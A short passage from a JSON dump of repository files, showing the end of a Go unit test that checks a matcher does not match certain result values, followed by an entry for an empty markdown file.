map[string][]string{\"sphinx\": {}}, Extracts: map[string][]string{}})\n\t\trequire.False(t, matched, \"could not match value\")\n\t\tmatched = matcher.Match(&operators.Result{Matches: map[string][]string{\"random\": {}}, Extracts: map[string][]string{}})\n\t\trequire.False(t, matched, \"could not match value\")\n\t})\n}\n"
  },
  {
    "path": "static/regression-cycle.md",
    "content": "\n"
  }
]